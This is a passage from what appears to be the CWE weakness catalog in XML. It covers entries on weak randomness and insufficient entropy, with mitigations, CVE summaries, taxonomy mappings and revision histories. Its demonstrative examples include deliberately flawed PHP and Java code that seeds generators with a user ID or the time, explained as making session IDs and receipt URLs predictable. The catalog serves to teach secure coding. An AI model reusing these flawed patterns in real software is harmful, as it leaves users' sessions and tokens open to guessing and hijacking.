               <Phase>Implementation</Phase>
               <Description>Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-45">
               <Intro_Text>This code attempts to generate a unique random identifier for a user's session.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function generateSessionID($userID){<xhtml:div style="margin-left:1em;">srand($userID);<xhtml:br/>return rand();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.</Body_Text>
               <Body_Text>This example also exhibits a Small Seed Space (CWE-339).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-46">
               <Intro_Text>The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String GenerateReceiptURL(String baseUrl) {<xhtml:div style="margin-left:1em;">Random ranGen = new Random();<xhtml:br/>ranGen.setSeed((new Date()).getTime());<xhtml:br/>return(baseUrl + ranGen.nextInt(400000000) + ".html");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-7010</Reference>
               <Description>Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-7010</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3278</Reference>
               <Description>Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3278</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3238</Reference>
               <Description>Random number generator can repeatedly generate the same value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2367</Reference>
               <Description>Web application generates predictable session IDs, allowing session hijacking.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2367</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2158</Reference>
               <Description>Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2158</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0255</Reference>
               <Description>Cryptographic key created with a seed based on the system time.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0255</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5162</Reference>
               <Description>Kernel function does not have a good entropy source just after boot.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5162</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4905</Reference>
               <Description>Blogging software uses a hard-coded salt when calculating a password hash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4905</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4929</Reference>
               <Description>Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4929</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3612</Reference>
               <Description>Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3612</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2433</Reference>
               <Description>Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0166</Reference>
               <Description>SSL library uses a weak random number generator that only generates 65,536 unique keys.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0166</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2108</Reference>
               <Description>Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2108</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2008-2108</Reference>
	     <Description>Chain: insufficient precision (CWE-1339) in
	     random-number generator causes some zero bits to be reliably
	     generated, reducing the amount of entropy (CWE-331)</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2008-2108</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2020</Reference>
               <Description>CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2020</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0087</Reference>
               <Description>DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0087</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0141</Reference>
               <Description>Application generates passwords that are based on the time of day.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0141</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Cryptography</Functional_Area>
            <Functional_Area>Authentication</Functional_Area>
            <Functional_Area>Session Management</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Randomness and Predictability</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Insecure Randomness</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON33-C</Entry_ID>
               <Entry_Name>Avoid race conditions when using library functions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC30-C</Entry_ID>
               <Entry_Name>Do not use the rand() function for generating pseudorandom numbers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC32-C</Entry_ID>
               <Entry_Name>Properly seed pseudorandom number generators</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>11</Entry_ID>
               <Entry_Name>Brute Force</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>18</Entry_ID>
               <Entry_Name>Credential/Session Prediction</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="112"/>
            <Related_Attack_Pattern CAPEC_ID="485"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-207"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 8, &#34;Using Poor Random Numbers&#34; Page 259"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
         <Notes>
            <Note Type="Relationship">This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.</Note>
			<Note Type="Maintenance">
			  As of CWE 4.3, CWE-330 and its descendants are being
			  investigated by the CWE crypto team to identify gaps
			  related to randomness and unpredictability, as well as
			  the relationships between randomness and cryptographic
			  primitives.  This "subtree analysis" might
			  result in the addition or deprecation of existing
			  entries; the reorganization of relationships in some
			  views, e.g. the research view (CWE-1000); more consistent
			  use of terminology; and/or significant modifications to
			  related entries.
			</Note>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Observed_Examples, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Randomness and Predictability</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="331" Name="Insufficient Entropy" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-45">
               <Intro_Text>This code generates a unique random identifier for a user's session.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function generateSessionID($userID){<xhtml:div style="margin-left:1em;">srand($userID);<xhtml:br/>return rand();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.</Body_Text>
               <Body_Text>This example also exhibits a Small Seed Space (CWE-339).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-46">
               <Intro_Text>The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String GenerateReceiptURL(String baseUrl) {<xhtml:div style="margin-left:1em;">Random ranGen = new Random();<xhtml:br/>ranGen.setSeed((new Date()).getTime());<xhtml:br/>return(baseUrl + ranGen.nextInt(400000000) + ".html");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0950</Reference>
               <Description>Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0950</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2008-2108</Reference>
	     <Description>Chain: insufficient precision (CWE-1339) in
	     random-number generator causes some zero bits to be reliably
	     generated, reducing the amount of entropy (CWE-331)</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2008-2108</Link>
	   </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient Entropy</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>11</Entry_ID>
               <Entry_Name>Brute Force</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC32-C</Entry_ID>
               <Entry_Name>Properly seed pseudorandom number generators</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="59"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-207"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="332" Name="Insufficient Entropy in PRNG" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="331" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.</Description>
            </Mitigation>
         </Potential_Mitigations>
      <Observed_Examples>
		<Observed_Example>
		  <Reference>CVE-2019-1715</Reference>
		  <Description>security product has insufficient entropy in the DRBG, allowing collisions and private key discovery</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2019-1715</Link>
		</Observed_Example>
      </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Insufficient entropy in PRNG</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
